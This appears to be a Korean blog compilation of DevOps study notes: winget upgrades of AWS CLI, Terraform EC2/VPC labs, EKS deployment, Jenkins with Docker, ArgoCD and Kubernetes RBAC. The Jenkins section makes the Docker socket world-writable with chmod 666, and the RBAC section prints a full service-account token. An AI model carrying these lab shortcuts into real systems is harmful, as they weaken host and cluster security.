Windows 운영체제를 오래 사용하던 사람이라면 아마도 제어판에서 프로그램을 추가 및 삭제하는 방법이 어느정도 익숙하지 않을까 싶다. "프로그램 추가/제거"라는 이전 이름이 어느 순간 "프로그램 및 기능"으로 변경되었고, 이를 통해 설치된 버전이 무엇인지 살펴보고 변경 및 제거를 할 수가 있다.
Windows 11 환경에서 "프로그램 및 기능" 메뉴에서 "AWS" 키워드로 검색한 결과, 현재 설치된 AWS CLI 버전은 2.15.9.0임을 확인할 수 있었다. AWS CLI는 AWS 서비스를 명령어를 통해 관리하도록 해주는 CLI 도구로, `aws configure`를 실행하여 Access Key ID, Secret Access Key, 리전 이름 정도만 설정하면 AWS 서비스를 손쉽게 제어할 수가 있다. 설치할 당시에는 공식 홈페이지 (https://aws.amazon.com/ko/cli/)에서 다운로드를 하여 직접 설치를 진행하였는데, 시간이 지나면서 설치된 버전이 최신인지 확인하고, 최신 버전으로 업그레이드하는 과정이 필자에게는 다소 번거롭게 느껴졌다.
Ubuntu에서 사용하던 "sudo apt update && sudo apt upgrade"와 같이 손쉽게 할 수 있다면 얼마나 좋을까?
문득 갑자기 이런 궁금증이 들었고, winget이라는 도구가 있다는 잊고 있던 생각이 갑자기 났다. 이를 통해 AWS CLI 버전을 최신으로 업그레이드를 진행한 경험을 블로그를 통해 적고자 한다.
winget을 사용하는 기본적인 방법은 apt와 많이 유사하다. 필자는 여전히 "sudo apt update && sudo apt upgrade" 명령어가 익숙한데, winget에서는 update와 upgrade 명령어가 동일하다는 점을 참고하자 (정확히는 update가 upgrade에 대한 alias로 구성되어 있다). 자세한 도움말은 https://aka.ms/winget-command-help 를 통해 확인할 수 있으며, 또는 국내 Microsoft 권순만 MVP께서 정리하신 블로그 글 (URL: https://blog.naver.com/hakunamata2/223366445380 )을 참고해도 좋겠다.
또 다른 방법으로는 Ubuntu에서 "apt list | grep AWS"와 같이 실행하는 것과 같이 PowerShell에서는 다음과 같은 명령어를 통해 확인할 수도 있겠다. 이 방법은 현재 설치된 버전이 2.15.9.0이며, 최신 설치 가능한 버전이 2.16.4라는 정보까지를 같이 알 수가 있다는 장점이 있다.
> winget list | Select-String -Pattern AWS
Freedom Scientific JAWS 2024 FreedomScientific.JAWS.2024 2024.2310.70.400 2024.240??winget
Freedom Scientific JAWS Training Table??{AE1E7553-752E-4D04-9695-EE1FB83C54AE} 25.0.2005.0
AWS Command Line Interface v2 Amazon.AWSCLI 2.15.9.0 2.16.4 winget
이렇게 특정 패키지를 winget 명령어를 통해 설치, 업그레이드, 제거까지 손쉽게 하는 방법에 대해 알아보았다.
5. winget 명령어로 여러 패키지 업그레이드하기
사실 원래는 AWS CLI 툴 자체를 업그레이드하는 목적보다는 이전에 https://github.com/ianychoi/aws-ecs-fargate-dotnet-module3-supplementary 와 같은 내용을 준비하면서 "Build Tools for Visual Studio 2019"가 설치되었던 것 같은데, 해당 패키지를 포함해 AWS CLI 등 여러 버전들을 각각 다운로드받아 최신 버전으로 설치하기가 번거롭다보니 winget을 사용하면 어떨까하는 생각이 들었고 "winget upgrade" 명령어를 통해 손쉽게 최신 버전으로 업데이트를 진행할 수 있었다. "winget upgrade" 를 실행하면 업그레이드 가능한 모든 프로그램들이 나온다. 필자의 경우 이전에 영상 자막을 직접 관리하고자 사용했던 Vrew 프로그램이 오래 되었고, Bandizip, GIMP 등도 업그레이드하지 않던 상황을 손쉽게 확인할 수 있었다. 모든 것을 업그레이드하려면 "winget upgrade --all" 명령어를 사용하면 되겠지만, 꼭 모든 소프트웨어를 업그이드할 필요는 없겠다. 필자의 경우 GIMP를 굳이 최신으로 꼭 업그레이드가 필요한가 싶어 다음과 같이 3개 소프트웨어만 업데이트를 진행하였다.
이와 같이 winget을 사용해 AWS CLI를 설치, 업그레이드, 제거하는 방법을 살펴보았다. 설치된 소프트웨어를 최신 버전으로 유지함으로써 최신 기능을 활용할 뿐만 아니라 보안 취약점을 방지할 수 있으므로, 정기적으로 업그레이드를 확인하는 것이 좋은데 winget을 통해 AWS CLI 뿐만 아니라 설치된 여러 소프트웨어의 설치된 버전 및 최신 버전을 손쉽게 확인하고 명령어를 통해 쉽게 업그레이드가 가능한 장점을 잘 활용해보았으면 한다.
그리고 Visual Studio Code (줄여서 VSCode) 를 사용하는데, 이 때 본인은 WSL 환경에서 실습을 하고 있으므로, VSCode가 WSL 환경을 인지해야 한다. 이 부분은 WSL이라는 확장팩 설치 및 왼쪽 하단을 클릭하여 "Connect to WSL"을 실행하여 연결이 되어야 한다는 점을 참고하자.
# 초기화
terraform init
ls -al
tree .terraform
# plan 확인
terraform plan
# apply 실행
terraform apply
Enter a value: yes 입력
# ec2 생성 확인 : aws 웹 관리 콘솔에서도 확인 - 서울 리전 선택
export AWS_PAGER=""
aws ec2 describe-instances --output table
# 테라폼 정보 확인
terraform state list
terraform show
terraform show aws_instance.example
이번에는 태그 정보를 수정하고 적용해보자.
cat <<EOT > main.tf
provider "aws" {
region = "ap-northeast-2"
}
resource "aws_instance" "example" {
ami = "$AL2ID"
instance_type = "t2.micro"
tags = {
Name = "aews-study"
}
}
EOT
# plan 실행 시 아래와 같은 정보가 출력
terraform plan
# aws_instance.example will be updated in-place
~ resource "aws_instance" "example" {
id = "i-0fe5acad038030055"
~ tags = {
+ "Name" = "aews-study"
}
~ tags_all = {
+ "Name" = "aews-study"
}
# (38 unchanged attributes hidden)
# (8 unchanged blocks hidden)
}
Plan: 0 to add, 1 to change, 0 to destroy.
# apply 실행
terraform apply
Enter a value: yes 입력
# 모니터링 : [터미널1]에 Name 확인
실습을 완료하였으면 리소스를 삭제하자.
# 리소스 삭제
terraform destroy
Enter a value: yes 입력
혹은
terraform destroy -auto-approve
# 배포
terraform plan && terraform apply -auto-approve
terraform state list
aws_internet_gateway.myigw
aws_subnet.mysubnet1
aws_subnet.mysubnet2
aws_vpc.myvpc
그 다음에는 vpc.tf 코드를 수정하여 IGW 인터넷 게이트웨이로 전달하는 디폴트 라우팅 정보를 추가하자.
# 배포
ls *.tf
terraform plan && terraform apply -auto-approve
terraform state list
aws_security_group.mysg
aws_security_group_rule.mysginbound
aws_security_group_rule.mysgoutbound
...
terraform state show aws_security_group.mysg
terraform state show aws_security_group_rule.mysginbound
# graph 확인 > graph.dot 파일 선택 후 오른쪽 상단 DOT 클릭
terraform graph > graph.dot
- ec2.tf 파일 내용:
data "aws_ami" "my_amazonlinux2" {
most_recent = true
filter {
name = "owner-alias"
values = ["amazon"]
}
filter {
name = "name"
values = ["amzn2-ami-hvm-*-x86_64-ebs"]
}
owners = ["amazon"]
}
resource "aws_instance" "myec2" {
depends_on = [
aws_internet_gateway.myigw
]
ami = data.aws_ami.my_amazonlinux2.id
associate_public_ip_address = true
instance_type = "t2.micro"
vpc_security_group_ids = ["${aws_security_group.mysg.id}"]
subnet_id = aws_subnet.mysubnet1.id
user_data = <<-EOF
#!/bin/bash
wget https://busybox.net/downloads/binaries/1.31.0-defconfig-multiarch-musl/busybox-x86_64
mv busybox-x86_64 busybox
chmod +x busybox
echo "Web Server</h1>" > index.html
nohup ./busybox httpd -f -p 80 &
EOF
user_data_replace_on_change = true
tags = {
Name = "aews-myec2"
}
}
output "myec2_public_ip" {
value = aws_instance.myec2.public_ip
description = "The public IP of the Instance"
}
#
ls *.tf
terraform plan && terraform apply -auto-approve
terraform state list
data.aws_ami.my_amazonlinux2
aws_instance.myec2
...
terraform state show data.aws_ami.my_amazonlinux2
terraform state show aws_instance.myec2
# 데이터소스 값 확인
terraform console
>
data.aws_ami.my_amazonlinux2.id
"ami-0972fbae82d8513f6"
data.aws_ami.my_amazonlinux2.image_id
data.aws_ami.my_amazonlinux2.name
data.aws_ami.my_amazonlinux2.owners
data.aws_ami.my_amazonlinux2.platform_details
data.aws_ami.my_amazonlinux2.hypervisor
data.aws_ami.my_amazonlinux2.architecture
exit
# graph 확인 > graph.dot 파일 선택 후 오른쪽 상단 DOT 클릭
terraform graph > graph.dot
# 출력된 EC2 퍼블릭IP로 cul 접속 확인
terraform output -raw myec2_public_ip
43.203.247.218
MYIP=$(terraform output -raw myec2_public_ip)
while true; do curl --connect-timeout 1 http://$MYIP/ ; echo "------------------------------"; date; sleep 1; done
AWS 리소스에 대한 의존성은 다음과 같다.
이와 같이 AWS EC2 리소스와 Security Group, 그리고 관련한 네트워크 리소스에 대한 전반적인 의존성을 확보하면서 Terraform으로 생성해보는 실습을 진행하였다. 실습을 다 진행한 후에는 리소스 삭제를 꼭 하자.
terraform destroy -auto-approve
1.4. 프로바이더 활용하기 - Tier
Terraform는 프로바이더에 대한 Tier (Official, Partner, Community) 가 있다. https://registry.terraform.io/browse/providers 에서는 Official은 Hashicorp에서 직접 유지보수를 하는 Tier, Partner는 기술 파트너를 통해 유지보수가 이루어지는 Tier, Community는 Hashicorp 커뮤니티 생태계를 통해 퍼블리싱 및 유지보수가 이루어진다고 한다.
# variable.tf
variable "isDB" {
type = bool
default = false
description = "패스워드 대상의 DB 여부"
}
# output.tf
output "id" {
value = random_pet.name.id
}
output "pw" {
value = nonsensitive(random_password.password.result)
}
#
cd 06-module-traning/modules/terraform-random-pwgen
#
ls *.tf
terraform init && terraform plan
# 테스트를 위해 apply 시 변수 지정
terraform apply -auto-approve -var=isDB=true
Apply complete! Resources: 2 added, 0 changed, 0 destroyed.
Outputs:
id = "knowing-aardvark"
pw = "Y5eeP0i2KLLE9gBa"
# 확인
terraform state list
terraform state show random_pet.name
terraform state show random_password.password
# graph 확인
terraform graph > graph.dot
자식 모듈 호출을 실습해본다. 다수 리소스를 같은 목적으로 여러 번 반복해서 사용하려면 리소스 수만큼 반복해 구성 파일을 정의해야 하고 이름도 고유하게 설정해줘야 하는 부담이 있지만, 모듈을 활용하면 반복되는 리소스 묶음을 최소화할 수 있다.
# 코드 가져오기
git clone https://github.com/gasida/aews-cicd.git
cd aews-cicd/4
# terraform 환경 변수 저장
export TF_VAR_KeyName=[각자 ssh keypair]
export TF_VAR_KeyName='kp-ian'
echo $TF_VAR_KeyName
#
terraform init
terraform plan
# 10분 후 배포 완료
terraform apply -auto-approve
약 10분이 지나 배포가 완료되면 배포 정보를 확인한다. kubectl 명령어를 실행 가능하도록 인증 정보를 가져오는 단계가 필요하다.
#
kubectl get node -v=6
# EKS 클러스터 인증 정보 업데이트
CLUSTER_NAME=myeks
aws eks update-kubeconfig --region ap-northeast-2 --name $CLUSTER_NAME
kubectl config rename-context "arn:aws:eks:ap-northeast-2:$(aws sts get-caller-identity --query 'Account' --output text):cluster/$CLUSTER_NAME" "Aews-Labs"
#
kubectl cluster-info
kubectl get node --label-columns=node.kubernetes.io/instance-type,eks.amazonaws.com/capacityType,topology.kubernetes.io/zone
kubectl get pod -A
그 다음 코드를 재사용하여 두 번째 클러스터를 배포해보자. 다른 클러스터에 접근하므로 서로 다른 kubeconfig 가 필요하다. myeks 클러스터에 접근할 때는 디폴트 config를, myeks2 클러스터에 접근할 때는 myeks2config 파일을 참조하는 것으로 확인을 하였다.
#
cd ..
mkdir 5
cd 5
cp ../4/*.tf .
ls
#
terraform init
terraform apply -auto-approve -var=ClusterBaseName=myeks2 -var=KubernetesVersion="1.28"
# EKS 클러스터 인증 정보 가져오기
CLUSTER_NAME2=myeks2
aws eks update-kubeconfig --region ap-northeast-2 --name $CLUSTER_NAME2 --kubeconfig ./myeks2config
# EKS 클러스터 정보 확인
kubectl --kubeconfig ./myeks2config get node
kubectl --kubeconfig ./myeks2config get pod -A
실습을 다 하였다면 첫 번째 클러스터 및 두 번째 클러스터를 아래를 참고하여 완전히 삭제하도록 하자. 첫 번째 클러스터를 삭제하고
# 실습 편리를 위해서 root 계정 전환
sudo su -
# Add required dependencies for the jenkins package
# https://docs.aws.amazon.com/corretto/latest/corretto-17-ug/amazon-linux-install.html
sudo yum install fontconfig java-17-amazon-corretto -y
java -version
alternatives --display java
JAVA_HOME=/usr/lib/jvm/java-17-amazon-corretto.x86_64
echo $JAVA_HOME
# 젠킨스 설치
sudo wget -O /etc/yum.repos.d/jenkins.repo https://pkg.jenkins.io/redhat-stable/jenkins.repo
sudo rpm --import https://pkg.jenkins.io/redhat-stable/jenkins.io-2023.key
sudo yum upgrade
sudo yum install jenkins -y
sudo systemctl daemon-reload
sudo systemctl enable jenkins && sudo systemctl start jenkins
sudo systemctl status jenkins
# 초기 암호 확인
sudo systemctl status jenkins
cat /var/lib/jenkins/secrets/initialAdminPassword
# 접속 주소 확인
curl -s ipinfo.io/ip | awk '{ print "Jenkins = http://"$1":8080" }'
Jenkins = http://43.202.2.88:8080
설치가 완료된 다음에는 몇 가지 세팅을 진행한다. 먼저 초기 암호를 입력한다. 그 다음 제안 플러그인을 설치하자. "Install suggested plugins"를 클릭한다.
다음과 같이 플러그인 설치가 이루어진다.
다만 본인은 설치할 때 미러링 서버에 이슈가 있어서 그런지 아래 스크린샷과 같이 잘 설치가 되지 않았다. 이를 해결하고자 다른 리눅스 환경에서 동일한 Jenkins를 설치하고 플러그인 설치를 모두 완료한 상태에서 /var/lib/jenkins 폴더 전체를 tar 압축 후 가져오는 형태로 해결을 하였다.
플러그인 설치가 잘 되면 그 다음 사용자를 생성하고 Jenkins를 사용하면 된다.
Jenkins 관리에서 First-Project를 생성을 해볼 것이다. 그 전에 먼저 "Manage Jenkins" -> "Tools" -> "JDK installations" 부분에 "Add JDK"를 선택 후 아래 스크린샷과 같이 jdk-17, /usr/lib/jvm/java-17-amazon-corretto.x86_64 값을 각각 입력 후 "Save" 버튼을 클릭한다.
그 다음에 왼쪽 메뉴에서 "New Item"을 클릭하면 새로운 아이템을 입력하는 화면이 나타난다. "First-Project"라고 이름을 적고 "Freestyle project"를 선택한 다음 하단 "OK"를 클릭하자.
그 다음 나타나는 Configuration 메뉴에서는 세부 구성을 설정할 수가 있다. 그 중 "Build Steps"를 클릭 후 "Add build step" -> "Execute shell"을 선택한 다음, echo "Aws Workshop Study" 와 같이 간단한 문장을 출력하도록 입력한 다음에 하단 "Apply" 및 "Save" 버튼을 클릭하여 저장한다.
왼쪽 메뉴 중 "Build Now"를 선택하면 실행된 결과가 왼쪽 하단 "Build History"에 보이며 콘솔 출력 결과 또한 확인이 가능하다.
다시 Configuration -> Configure -> Build Environment -> Build Steps에서 "java -version", "whoami", "touch hello.txt"를 추가하고 Apply & Save를 클릭한 다음에 "Build Now"를 클릭하여 실행을 해보자. 콘솔에서도 확인할 수 있으며 특히 "tree /var/lib/jenkins/workspace/First-Project" 명령어를 Bastion EC2에서 실행하면 hello.txt 파일이 /var/lib/jenkins 내 workspace 에서 프로젝트 명 내에 파일이 저장된다는 것을 확인할 수 있다.
그 다음으로는 Jenkins에서 Docker를 사용하도록 설정해본다.
# jenkins 유저로 docker 사용 가능하게 설정
grep -i jenkins /etc/passwd
usermod -s /bin/bash jenkins
grep -i jenkins /etc/passwd
# jenkins 유저 전환
su - jenkins
whoami
pwd
docker info
exit
#
chmod 666 /var/run/docker.sock
usermod -aG docker jenkins
# Jeknins 유저로 확인
su - jenkins
docker info
# Dockerhub로 로그인 하기
docker login
Username: <자신의 계정명>
Password: <자신의 암호>
# myweb:v2.0.0 컨테이너 이미지 생성을 위한 Dockerfile 준비
# 실습을 위한 디렉터리 생성 및 이동
mkdir -p ~/myweb2 && cd ~/myweb2
# Dockerfile 파일 생성
vi Dockerfile
FROM ubuntu:20.04
ENV TZ=Asia/Seoul VERSION=2.0.0 NICK=sdndev
RUN ln -snf /usr/share/zoneinfo/$TZ /etc/localtime && echo $TZ > /etc/timezone && \
sed -i 's/archive.ubuntu.com/mirror.kakao.com/g' /etc/apt/sources.list && \
sed -i 's/security.ubuntu.com/mirror.kakao.com/g' /etc/apt/sources.list && \
apt-get update && apt-get install -y apache2 figlet && \
echo "$NICK Web Server $VERSION<br>" > /var/www/html/index.html && \
echo "<pre>" >> /var/www/html/index.html && \
figlet AEWS Study >> /var/www/html/index.html && \
echo "</pre>" >> /var/www/html/index.html
EXPOSE 80
CMD ["usr/sbin/apache2ctl", "-DFOREGROUND"]
# 모니터링
watch -d 'docker images; echo; docker ps'
-----------
# (참고) 이미지 빌드
docker build -t myweb:v2.0.0 -f /var/lib/jenkins/myweb2/Dockerfile
# (참고) 컨테이너 실행
docker run -d -p 80:80 --rm --name myweb myweb:v2.0.0
jenkins 사용자에 대해서는 디폴트 쉘이 /bin/false로 되어 있기에 이를 /bin/bash로 변경한 다음 su 명령어를 통해 jenkins 사용자로 shell을 실행하였다. 그런데 docker info를 실행하면 "permission denied"가 나타나는 것을 확인할 수 있다.
이를 위해서는 /var/run/docker.sock 파일에 대해 jenkins 사용자도 액세스할 수가 있어야 한다. 이를 재설정하고 다시 shell에 접속하여 docker info를 실행하면 잘 실행될 것이다.
나머지 명령어도 실행하여 Dockerfile 을 만들고 컨테이너가 구동되는지 확인하기 위한 모니터링 준비를 하자.
그 다음 다시 Jenkins로 돌아가 Build Step 2개를 추가한 다음 Apply & Save를 클릭한다. 각각은 다음과 같다.
cd /var/lib/jenkins/myweb2
docker build -t myweb:v2.0.0 .
docker run -d -p 80:80 --rm --name myweb myweb:v2.0.0
"Build Now"를 해보자. 모니터링하던 부분에서 다음과 같은 변화를 발견할 수 있었다.
"docker images", "docker ps", "curl localhost"와 같은 명령어로 테스트해보자.
Jenkins에서 Dashboard -> New Item을 클릭하고 "Trigger-Project" 이름으로 "Freestyle project"를 생성하도록 한다.
그리고 "This project is parameterized" 옵션을 선택하면 "Add parameter" 버튼을 통해 파라미터를 추가할 수 있다. "String parameter"로 VERSION에 대해서는 v1.0.0 값을, NICK 이름에 대해서는 본인의 닉네임 값을 추가한다.
그 다음, Source Code Management에서 "Git"를 선택하고 저장소 URL을 지정, branch는 "*/main"으로 (master 대신 main으로 변경) 설정한 다음, "Additional Behaviours"에서 "Sparse Checkout paths"를 추가, Path 값은 1로 설정한다.
또한 "Build Triggers"에서 "Poll SCM"을 클릭한 다음, Schedule에 "* * * * *" 값을 입력하자.
Build Steps에는 "Execute shell" 2개를 추가한다. 아래 내용을 참고하여 추가하도록 하자.
cd /var/lib/jenkins/myweb2
rm -rf Dockerfile
wget https://raw.githubusercontent.com/$NICK/aews-cicd/main/1/Dockerfile
이제 GitHub 저장소에서 Trigger를 발생시켜본다. GitHub 저장소 내 1/Dockerfile 에 대해 버전 정보와 닉네임을 편집하여 커밋을 만들어보자.
약 1분 정도 이후에 Jenkins에서 확인해보면 오류가 발생한 상황이 보인다. 콘솔에서 세부 내용을 살펴보자.
최신 커밋에 따른 파일 내용은 잘 가져왔는데 경로 등이 맞지 않는 것인지 실행이 잘 안되는 것 같다. 다른 "Execute shell"에 있다면 경로가 다를 수 있기에 "cd /var/lib/jenkins/myweb2"를 추가하고 "Build with Parameters" 버튼을 클릭하여 재실행해보았다.
확인해보니 실행은 잘 되었다. 그런데 버전이 다른 것을 확인할 수 있다.
이 부분에서 소스 코드가 우선인지 Jenkins에 있는 파라미터가 우선인지 잠깐 생각해볼 필요가 있겠다. CI/CD 전반적인 관점에서는 소스 코드가 우선되어야 할 것 같으나, 반면 Jenkins 입장에서는 파라미터에 있는 값을 활용하는 것이 우선시되어야한다고 볼 수도 있을 것이다. Jenkins 파라미터를 우선으로 할 경우에는 아래 스크린샷처럼 sed를 활용해 값을 바꾸어주고 그 결과를 확인해보자.
sed -i "s/VERSION=[0-9.]*/VERSION=${VERSION}/g" Dockerfile
sed -i "s/NICK=[A-Za-z0-9.]*/NICK=${NICK}/g" Dockerfile
이렇게 해도 오류가 발생하였는데, 기존 Docker 프로세스를 종료하지 않아서이다. 따라서 "docker rm -f myweb"을 Execute shell 에 추가하는 것으로 해결하였다.
이후 몇 가지 변경 및 실습을 추가로 진행해보았다. Maven의 경우 tools 내 이름이 "Manage Jenkins" -> Tools 내 설정된 이름과 동일해야 한다.
뿐만 아니라 "Pipeline Syntax" 기능을 사용하여 파이프라인 스크립트를 손쉽게 만들 수도 있다. "sh: Shell Script"로 두 줄 명령어에 대해 스크립트를 요청하니 자동으로 작은 따옴표 3개로 감싸주었다.
3. Jenkins with Kubernetes
이제 Jenkins를 쿠버네티스 서비스인 EKS 환경과 연동을 시켜보자.
# jenkins 사용자에서 아래 작업 진행
whoami
mkdir ~/.kube
# root 계정에서 아래 복사 실행
cp ~/.kube/config /var/lib/jenkins/.kube/config
chown jenkins:jenkins /var/lib/jenkins/.kube/config
# jenkins 사용자에서 aws eks 사용(sts 호출 등)을 위한 자격증명 설정
aws configure
AWS Access Key ID [None]: AKIA5ILF2###
AWS Secret Access Key [None]: ###
Default region name [None]: ap-northeast-2
# jenkins 사용자에서 kubectl 명령어 사용 확인
kubectl get pods -A
파이프라인으로 디플로이먼트/서비스를 배포해보고자 한다.
진행하기 위해서는 fork한 GitHub 리포지터리에 3/deploy/deployment-svc.yaml 파일이 있는데 이 파일에서 image 부분에 자신의 도커 허브 이미지를 가리키도록 수정을 할 필요가 있다.
이제 Jenkins에서 새로운 Item을 만들어보자. "k8s-1" 이으로 Pipeline을 생성한다. 아래 내용으로 구성한다.
ArgoCD는 Desired Manifest와 비교하여 Sync가 이루어진 후에 Live Manifest 결과로 나타난다. myweb에 대한 Deploy를 선택하고, Live Manifest에서 Edit 버튼을 클릭한 다음 "add: label-test"를 아래 스크린샷과 같이 추가해보자.
아래와 같이 "watch -d kubectl get deploy -n first --show-labels"를 통해 모니터링해보면 Save를 하면 라벨이 추가된 결과를 확인할 수 있다.
"kubectl edit deploy -n first myweb"을 통해 확인하면 "add: label-test"가 있는 것을 확인할 수 있다.
그런데 ArgoCD에서는 diff결과가 나타나지 않는다. 심지어 "add2=k8s-add"와 같은 것을 추가해도 diff 결과가 없다.
반면 소스 코드에서 "gitadd: webedit"와 같은 라벨을 추가해보면 약 3분이 지나서 ArgoCD에서 확인하거나 또는 "Refresh" 버튼을 클릭하여 확인할 수 있다.
이 부분은 diff에서 차이를 확인할 수 있다.
반영을 하기 위해 "Sync" 버튼을 클릭한다.
해당 상황은 이전에 Jenkins를 실습할 때 살펴보았던 상황과 비슷하게 소스 코드를 우선으로 GitOps가 되어야 한다는 철학이 이유가 되지 않을까 싶다.
이번에는 Replica 수를 2에서 4로 변경해보자. 역시 마찬가지로 "Refresh" 한 다음 "Sync" -> "Synchronize" 버튼을 클릭하였다.
ArgoCD에서 삭제 또한 편리하게 가능하다고 한다. "Delete" 버튼을 클릭한 후 앱 이름을 한 번 어 입력하고 "OK" 버튼을 클릭해보자.
중요한 결론으로는 "GitOps를 하려거든 대상(k8s)에서 변경하지 말고, 소스(git)에서 변경하자!"가 있겠다.
ArgoCD CLI 버전도 있다. 설치하여 확인해보자.
#
curl -sSL -o argocd-linux-amd64 https://github.com/argoproj/argo-cd/releases/latest/download/argocd-linux-amd64
sudo install -m 555 argocd-linux-amd64 /usr/local/bin/argocd
rm -f argocd-linux-amd64
#
argocd version
#
argocd login argocd.$MyDomain
Username: admin
Password: ###
'admin:login' logged in successfully
#
kubectl config get-contexts -o name
aewsian@myeks.ap-northeast-2.eksctl.io
argocd cluster add aewsian@myeks.ap-northeast-2.eksctl.io
y 입력
#
argocd app list
NAME CLUSTER NAMESPACE PROJECT STATUS HEALTH SYNCPOLICY CONDITIONS REPO PATH TARGET
# Run the following command to deploy the initial Rollout and Service:
kubectl apply -f https://raw.githubusercontent.com/argoproj/argo-rollouts/master/docs/getting-started/basic/rollout.yaml
kubectl apply -f https://raw.githubusercontent.com/argoproj/argo-rollouts/master/docs/getting-started/basic/service.yaml
현재 blue에 해당하는 5개 파드가 실행 중인 상황에 있다. 이제 yellow 버전에 대해 rollout을 동작시켜보도록 하자.
kubectl argo rollouts set image rollouts-demo rollouts-demo=argoproj/rollouts-demo:yellow
20%가 진행되었고 멈추어 있는 단계이다. 웹 페이지에서 "Promote" 버튼을 클릭하거나 CLI에서 "kubectl argo rollouts promote rollouts-demo"라고 입력해도 된다. 그러면 다음 과정이 진행되었다가 10초 후 멈추고 그 다음 과정을 계속 진행하는 식으로 동작할 것이다.
EKS 인증/인가를 살펴보기 전에 먼저 Kubernetes에서의 인증 (Authentication) 및 인가 (Authorization)을 살펴보고자 한다.
쿠버네티스에서 인증 및 인가는 다음 과정을 통해 진행이 이루어진다고 한다.
세부적인 Mutating 및 Validating admission 등 단계도 있으나 크게 보면 "인증(Authentication) → 인가(Authorization) → Admission Control" 순서로 진행이 이루어진다고 보면 되겠다. 인증이 이루어지는 방식은 API 뿐만 아니라 서비스 계정 (Service Account), 대시보드, Kubectl 등을 이용한 방식을 지원하며 X.509 클라이언트 인증서가 실제 어떻게 활용되는지 뒤 실습에서 살펴본다. 그리고 인가에 대해서는 RBAC (Role, RoleBinding) 및 ABAC, Webhook, Node Authorization 방식을 지원하는데, 이번 실습에서는 RBAC에 대해 확인을 해 보았다.
CLI에서 설정 파일로 존재하는 파일명이 바로 .kube/config 이다. 해당 파일을 열어 살펴보면 API 서버 접속 정보 목록이 나열된 "clusters", 쿠버네티스 API 서버에 접속하기 위한 사용자 인증 정보 목록이 나열된 "users", 클러스터 항목과 사용자 항목에 정의된 값을 조합해 최종적으로 사용할 쿠버네티스 클러스터 정보(컨텍스트)를 설정하고자 나열된 "contexts" 항목이 있는 것을 확인할 수 있다.
이번 실습 환경은 dev-k8s 및 infra-k8s 2개의 서비스 계정 (Service Account)로 나뉘어 있는 상황을 가정하여 별도로 네임스페이스를 사용할 때 역할 및 역할 바인딩을 구분하는 상황을 가정하여 실습한다.
먼저 네임스페이스와 서비스 계정을 생성 후 확인해보자.
# 네임스페이스(Namespace, NS) 생성 및 확인
kubectl create namespace dev-team
kubectl create ns infra-team
# 네임스페이스 확인
kubectl get ns
# 네임스페이스에 각각 서비스 어카운트 생성 : serviceaccounts 약자(=sa)
kubectl create sa dev-k8s -n dev-team
kubectl create sa infra-k8s -n infra-team
# 서비스 어카운트 정보 확인
kubectl get sa -n dev-team
kubectl get sa dev-k8s -n dev-team -o yaml | yh
kubectl get sa -n infra-team
kubectl get sa infra-k8s -n infra-team -o yaml | yh
dev-k8s 서비스 계정에 대한 토큰 정보를 확인해보았다. 참고로 Kubernetes 1.24 이상부터는 secret이 자동 생성되지 않기에 (관련 정보: 안승규님 DevOcean 블로그 내용) 수동으로 생성하여 확인해보았으며 jwt.io 사이트에서 토큰에 대한 정보를 쉽게 확인할 수 있었다. # 이후에 있는 부분이 명령어이고 그 결과를 아래에 붙여보았다.
# kubectl get secret -n dev-team
No resources found in dev-team namespace.
# cat <<EOF | kubectl apply -f -
> apiVersion: v1
> kind: Secret
> metadata:
> name: dev-k8s
> namespace: dev-team
> annotations:
> kubernetes.io/service-account.name: dev-k8s
> type: kubernetes.io/service-account-token
> EOF
secret/dev-k8s created
# kubectl get secret -n dev-team
NAME TYPE DATA AGE
dev-k8s kubernetes.io/service-account-token 3 49s
# DevToken=$(kubectl get secret -n dev-team dev-k8s -o jsonpath="{.data.token}" | base64 -d)
# echo $DevToken
eyJhbGciOiJSUzI1NiIsImtpZCI6InMwM1BYTDBhRUJEQW5meUN3MzdCanhmUkpESEExM0xuQ0lNRVJpZjhkb2MifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJkZXYtdGVhbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJkZXYtazhzIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImRldi1rOHMiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiI2OTU3MTYxZC03MTE3LTQ5NTYtYjQ4ZS01MDcwOTI2ZmM1ZGUiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6ZGV2LXRlYW06ZGV2LWs4cyJ9.hd6C18QaiOVlKdGn1qyZPClou3z-WA3LwYDNXjHyuN7z7ECzpCJ5CiZNIvLN5O1MEuOo301wv-jW0Fh5Z423alEHDbWo3QzHsaSR_RmHM8s6QVpAtuSElUYutkOkoU30fXyyRnqQcx-8b4DqWFhqopzCliYDfERVxWmKvbliKYxmbntQ8eAPrpd-V554R-KLRoabLjcNLZabEDpG_vuoENo1ghG1FqgDz9vSszigRqSxlhiy4TU_kPij12GlC6y1ZB35ZLFxIZ3dQ84ClHh4nDk5Dwpw5rq72ONtT8JFYIUmAnEScpMlY_Q1OvJlnjFePrhwq8Nc2bH_Yp2ywpOwfQ
그 다음에 서비스 어카운트 (계정)을 지정하여 파드 생성 후 권한을 테스트한다.
# 각각 네임스피이스에 kubectl 파드 생성 - 컨테이너이미지
# docker run --rm --name kubectl -v /path/to/your/kube/config:/.kube/config bitnami/kubectl:latest
cat <<EOF | kubectl create -f -
apiVersion: v1
kind: Pod
metadata:
name: dev-kubectl
namespace: dev-team
spec:
serviceAccountName: dev-k8s
containers:
- name: kubectl-pod
image: bitnami/kubectl:1.28.5
command: ["tail"]
args: ["-f", "/dev/null"]
terminationGracePeriodSeconds: 0
EOF
cat <<EOF | kubectl create -f -
apiVersion: v1
kind: Pod
metadata:
name: infra-kubectl
namespace: infra-team
spec:
serviceAccountName: infra-k8s
containers:
- name: kubectl-pod
image: bitnami/kubectl:1.28.5
command: ["tail"]
args: ["-f", "/dev/null"]
terminationGracePeriodSeconds: 0
EOF
# 확인
kubectl get pod -A
kubectl get pod -o dev-kubectl -n dev-team -o yaml
kubectl get pod -o infra-kubectl -n infra-team -o yaml
# 파드에 기본 적용되는 서비스 어카운트(토큰) 정보 확인
kubectl exec -it dev-kubectl -n dev-team -- ls /run/secrets/kubernetes.io/serviceaccount
